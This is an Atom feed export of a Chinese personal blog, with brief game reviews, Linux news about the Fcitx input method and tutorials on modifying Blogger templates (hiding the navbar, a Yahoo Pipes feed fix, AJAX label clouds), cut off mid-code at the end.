HasteDS v1.12 (繁体中文版)&lt;br /&gt;&lt;a href="http://www.veevee.net/koch/hack/hasteDS.rar"&gt;http://www.veevee.net/koch/hack/hasteDS.rar&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-60706659407203014?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/60706659407203014/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=60706659407203014' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/60706659407203014'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/60706659407203014'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2010/08/diy-nds.html' title='[转]【新手入门】不求人！DIY 自己找寻 NDS 游戏金手指密码_１ (基本修改)'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-2844532394058016212</id><published>2010-08-22T13:43:00.000+08:00</published><updated>2010-08-22T13:44:41.157+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Games'/><title type='text'>口袋妖怪 银灵</title><content type='html'>首先，我不是口袋饭。玩儿这个只是为了打发时间。但是……这剧情……和没有差不了多少了。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-2844532394058016212?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/2844532394058016212/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=2844532394058016212' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/2844532394058016212'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/2844532394058016212'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2010/08/blog-post_22.html' title='口袋妖怪 银灵'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-939158688093869313</id><published>2010-08-15T11:04:00.001+08:00</published><updated>2010-08-15T11:06:34.265+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Games'/><title type='text'>口袋妖怪 空之援助队</title><content type='html'>……&lt;br /&gt;这就是我要说的。&lt;br /&gt;&lt;br /&gt;本身对这类游戏不是很感兴趣。抱着试试的心态玩儿了这游戏，结果，觉得很无聊。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-939158688093869313?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/939158688093869313/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=939158688093869313' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/939158688093869313'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/939158688093869313'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2010/08/blog-post_15.html' title='口袋妖怪 空之援助队'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-345029955948718657</id><published>2010-08-08T17:12:00.003+08:00</published><updated>2010-08-08T17:24:41.589+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Games'/><title type='text'>心灵传说</title><content type='html'>说实话，比那个什么风雨传说好多了。不过，情节依然没什么意思。不知道是不是因为提供了地图的原因，场景做的很大，但是东西却不多。感觉像是在跑地图玩儿。&lt;br /&gt;&lt;br /&gt;我觉得RPG做重要的还是剧情。剧情差，其他再好也没意思。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-345029955948718657?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/345029955948718657/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=345029955948718657' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/345029955948718657'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/345029955948718657'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2010/08/blog-post.html' title='心灵传说'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-5811988207001702687</id><published>2010-08-06T08:43:00.002+08:00</published><updated>2010-08-06T09:18:43.479+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Games'/><title type='text'>勇者斗恶龙怪物篇 Joker2</title><content type='html'>说来DQ也是日本国民RPG，其外传性质的怪物篇应该感觉不差。&lt;br /&gt;&lt;br /&gt;我没有玩过第一作，看到电玩巴士那么高的评价，下载一个Joker2想体验一下。&lt;br /&gt;&lt;br /&gt;结果很失望啊，基本就是小学生水平的剧情，感觉和PSP的怪物猎人差不多，不过就是武器合成系统变成了怪物交配系统。确实很无聊啊。不明白啊，这种游戏也能火？&lt;br /&gt;&lt;br /&gt;那中文版的翻译……基本看得很不爽。&lt;br /&gt;&lt;br /&gt;总的来说，不是fans就不推荐大家玩这个了。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-5811988207001702687?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/5811988207001702687/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=5811988207001702687' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/5811988207001702687'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/5811988207001702687'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2010/08/joker2.html' title='勇者斗恶龙怪物篇 Joker2'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-8434803602779004977</id><published>2008-01-11T20:37:00.000+08:00</published><updated>2010-11-30T11:24:06.534+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Unsorted'/><title type='text'>重新回到这里</title><content type='html'>好久没有回来写东西了。真是太懒了。现在在准备CCIE的实验。希望自己能顺利通过。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-8434803602779004977?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/8434803602779004977/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=8434803602779004977' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/8434803602779004977'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/8434803602779004977'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2008/01/blog-post.html' title='重新回到这里'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-7676879200268953601</id><published>2007-07-12T15:47:00.000+08:00</published><updated>2007-07-12T15:49:55.421+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>Fcitx 项目已经终止</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://linuxtoy.org/img/logo/fcitx.gif"&gt;&lt;img style="cursor: pointer; width: 400px;" src="http://linuxtoy.org/img/logo/fcitx.gif" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a target="_blank" href="http://www.fcitx.org/"&gt;Fcitx&lt;/a&gt;（小企鹅中文输入法）的作者 Yuking 于昨日宣布已经终止该项目。对于我们这些整天在 Linux 平台上使用 Fcitx 的人来说，这是一个不幸的消息。我们尊重作者的决定，但我们更愿意看到 Fcitx 新生的那一天。&lt;br /&gt;&lt;h2 class="entry-title"&gt;&lt;a class="entry-title-link" target="_blank" href="http://feeds.feedburner.com/%7Er/linuxtoy/%7E3/132485632/fcitx.html"&gt;&lt;br /&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-7676879200268953601?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/7676879200268953601/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=7676879200268953601' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/7676879200268953601'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/7676879200268953601'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2007/07/fcitx.html' title='Fcitx 项目已经终止'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-8898457263830989494</id><published>2007-06-28T12:34:00.000+08:00</published><updated>2007-06-28T12:44:30.498+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Blogger Template'/><category scheme='http://www.blogger.com/atom/ns#' term='Hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='Blogger Hack'/><title type='text'>导航栏有突然出现了？</title><content type='html'>我的确实出现了！看起来 Blogger 现在&amp;lt;/head&amp;gt;添加了下面的代码来进行控制。&lt;br /&gt;&lt;pre class="code"&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;#navbar-iframe &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;{&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;display&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;:&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;block&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;}&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;我的 display:none 写在这行前面，所以没有效果。我把代码移到了&amp;lt;body&amp;gt;标签后面&lt;span style="font-family:monospace;"&gt;。&lt;/span&gt;&lt;pre class="code"&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;body&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;style &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;type&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='text/css'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(128, 0, 0);"&gt;&lt;br /&gt;#navbar-iframe &lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(0, 0, 0);"&gt;{&lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(255, 0, 0);"&gt;display&lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(0, 0, 0);"&gt;:&lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(0, 0, 255);"&gt;none&lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(0, 0, 0);"&gt;}&lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(128, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;style&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;如果你也有同样的问题，就这么改吧。另外，按照 &lt;a target="_blank" href="http://labnol.blogspot.com/2007/06/maybe-it-ok-to-remove-blogger-navbar.html"&gt;Amit's word&lt;/a&gt;，隐藏 navbar 是没有问题的。：)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-8898457263830989494?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/8898457263830989494/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=8898457263830989494' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/8898457263830989494'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/8898457263830989494'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2007/06/blog-post.html' title='导航栏有突然出现了？'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-1181526064511024134</id><published>2007-05-31T11:36:00.000+08:00</published><updated>2007-06-28T12:45:44.813+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='Blogger Hack'/><title type='text'>修正 Blogger feed： 基于 Yahoo Pipes 的 hack</title><content type='html'>原文：&lt;a href="http://hackosphere.blogspot.com/2007/02/blogger-feed-corrector-yahoo-pipes.html"&gt;Blogger feed corrector: Yahoo Pipes based hack&lt;/a&gt;&lt;br /&gt;更新：现在可以试试这个 hack 了。Yahoo 修复了日期问题。在此感谢所有在反馈中支持我的人。&lt;br /&gt;　　就像大多数人都知道的，Blogger 的 feed 按照更新日期而不是发布日期来排序。这让你在编辑旧文章时很不方便，因为这会文章重新出现在 feed 中。最近，Yahoo 发布了一个让人激动的 feed 服务── &lt;a href="http://pipes.yahoo.com/"&gt;管道（Pipes）&lt;/a&gt;，Aditya 有了一个好点子──使用管道 &lt;a href="http://lastword.blogspot.com/2007/02/pipes-to-rescue.html"&gt;对&lt;/a&gt;&lt;a href="http://lastword.blogspot.com/2007/02/pipes-to-rescue.html"&gt;Blogger feed 按发布日期重新排序&lt;/a&gt;。我想我会在它的基础上 hack，让大家都能轻松使用。&lt;br /&gt;　　这个 hack 是给那些不使用 Feedburner，而是使用 Blogger 自身提供的 feed 的用户（页面底部的“Subscribe to:”链接）。我根据 Aditya 的 hack 作了一些修改，使得它适用于所有的 feed。对模板作一些小修改，就能使用重新排序的 feed 来替代 Blogger 的 feed。如果你希望这样，首先到 &lt;a href="http://pipes.yahoo.com/pipes/KEflSli82xGIHxezIBeTaQ/"&gt;pipe's page&lt;/a&gt; 中填上你博客的地址，检查一下管道（pipe）是否按照发布日期对文章排序，而不是更新日期。&lt;br /&gt;　　如果你对要使用它，下面我将告诉你如何在模板中使用。在模板中找到这个 includable。  &lt;pre class="code"&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:includable &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;id&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='feedLinksBody' &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;var&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='links'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;div &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;class&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='feed-links'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;data:feedLinksMsg&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;/&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:loop &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;values&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='data:links' &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;var&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='f'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;     &lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;a &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;class&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;='feed-link' &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;expr:href&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;='data:f.url'&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;expr:type&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;='data:f.mimeType'&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;target&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;='_blank'&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;data:f&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;.name&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;/&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; (&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;data:f&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;.feedType&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;/&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;a&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:loop&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;div&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:includable&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;　　替换红色部分的代码：&lt;br /&gt;&lt;pre class="code"&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;a &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;class&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='feed-link'&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;expr:href&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='"http://pipes.yahoo.com/pipes/KEflSli82xGIHxezIBeTaQ/run?feed="&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;+ data:f.url + "&amp;amp;amp;_render&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;=rss"' &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;expr:type&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='data:f.mimeType'&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;target&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='_blank'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;data:f&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;.name&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;/&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; (RSS)&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;a&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;　　保存模板后再查看博客时，你会发现“Subscribe to”链接已经指向了重新排序的 feed。你可以发布文章请求你订阅者重新订阅新的 feed，这样旧文章的更新将不会再打扰他们。&lt;br /&gt;&lt;br /&gt;　　声明：&lt;br /&gt;　　1.由于新的 feed 由管道创建，所以 feed 标题显示为管道的名称“Blogger feed corrector”。在你的文章中，可以在阅读器中重命名 feed，或者自行修改管道名称。&lt;br /&gt;　　2.Yahoo 对通过管道的 feed 只提供 RSS 和 JSON 格式（很自然，由于 Google 的原因，他们不是很支持 Atom）。所以，重新排序的 feed 只支持 RSS 格式。不过这不适什么问题，因为几乎所有的阅读器都支持 RSS。&lt;br /&gt;　　如果在使用过程中发现还有其他需要告诉大家的，请一定让我知道。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-1181526064511024134?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/1181526064511024134/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=1181526064511024134' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/1181526064511024134'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/1181526064511024134'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2007/05/blogger-feed-yahoo-pipes-hack_31.html' title='修正 Blogger feed： 基于 Yahoo Pipes 的 hack'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-7369917897368416527</id><published>2007-05-27T00:14:00.000+08:00</published><updated>2007-05-27T03:31:54.664+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='Blogger Hack'/><title type='text'>[翻译]标签云式 AJAX 标签</title><content type='html'>原文：&lt;a class="entry-title-link" target="_blank" href="http://blogger-hacked.blogspot.com/2007/05/ajax-labels-with-label-cloud.html"&gt;AJAX Labels with Label Cloud&lt;/a&gt;&lt;br /&gt;　　为了满足更高的要求，我将讲解如何把 &lt;a target="_blank" href="http://blogger-hacked.blogspot.com/2007/02/ajax-labels-reloaded.html"&gt;AJAX 标签&lt;/a&gt; 和非常流行的 Phydeaux3 &lt;a target="_blank" href="http://phydeaux3.blogspot.com/2006/09/code-for-beta-blogger-label-cloud.html"&gt;标签云&lt;/a&gt; hack 集成在一起。&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;　　请注意：&lt;/span&gt;为了预防意外，请在下面三处备份你的模板：&lt;br /&gt;　　a. 安装标签云前；&lt;br /&gt;　　b. 安装 AJAX Labels 前；&lt;br /&gt;　　c. 在下面提到的第四步前。&lt;br /&gt;　　1. 第一步是安装标签云。按照 &lt;a target="_blank" href="http://phydeaux3.blogspot.com/2006/09/code-for-beta-blogger-label-cloud.html"&gt;Phydeaux3的文章&lt;/a&gt; 中的步骤进行安装。如果安装中出现问题，请在文章后面发表评论。在这里我还无法帮助你。如果你已经安装了，跳到下一步。&lt;br /&gt;　　2. 第二步要安装的是 &lt;a target="_blank" href="http://blogger-hacked.blogspot.com/2007/02/ajax-labels-reloaded.html"&gt;标签云&lt;/a&gt; 中的一部分。除了文章中的&lt;span style="font-weight: bold;"&gt;第三步&lt;/span&gt;（可选的那个），其余按步骤安装。&lt;br /&gt;　　3. 如果你安装了标签小部件，你可能不得不删除它。（我不是很确定）按 Phydeaux3 的建议做。&lt;br /&gt;　　4. 在 Phydeaux3 标签云代码中找到下面部分：&lt;br /&gt;&lt;pre class=code&gt;&lt;span style="color: #000000;"&gt;a.href = '/search/label/'+encodeURIComponent(t);&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;　　替换成：&lt;br /&gt;&lt;pre class=code&gt;&lt;span style="color: #000000;"&gt;a.href &lt;/span&gt;&lt;span style="color: #000000;"&gt;=&lt;/span&gt;&lt;span style="color: #000000;"&gt; &lt;/span&gt;&lt;span style="color: #000000;"&gt;'&lt;/span&gt;&lt;span style="color: #000000;"&gt;javascript:getCat(&amp;quot;&lt;/span&gt;&lt;span style="color: #000000;"&gt;'&lt;/span&gt;&lt;span style="color: #000000;"&gt; &lt;/span&gt;&lt;span style="color: #000000;"&gt;+&lt;/span&gt;&lt;span style="color: #000000;"&gt; encodeURIComponent(t) &lt;/span&gt;&lt;span style="color: #000000;"&gt;+&lt;/span&gt;&lt;span style="color: #000000;"&gt; &lt;/span&gt;&lt;span style="color: 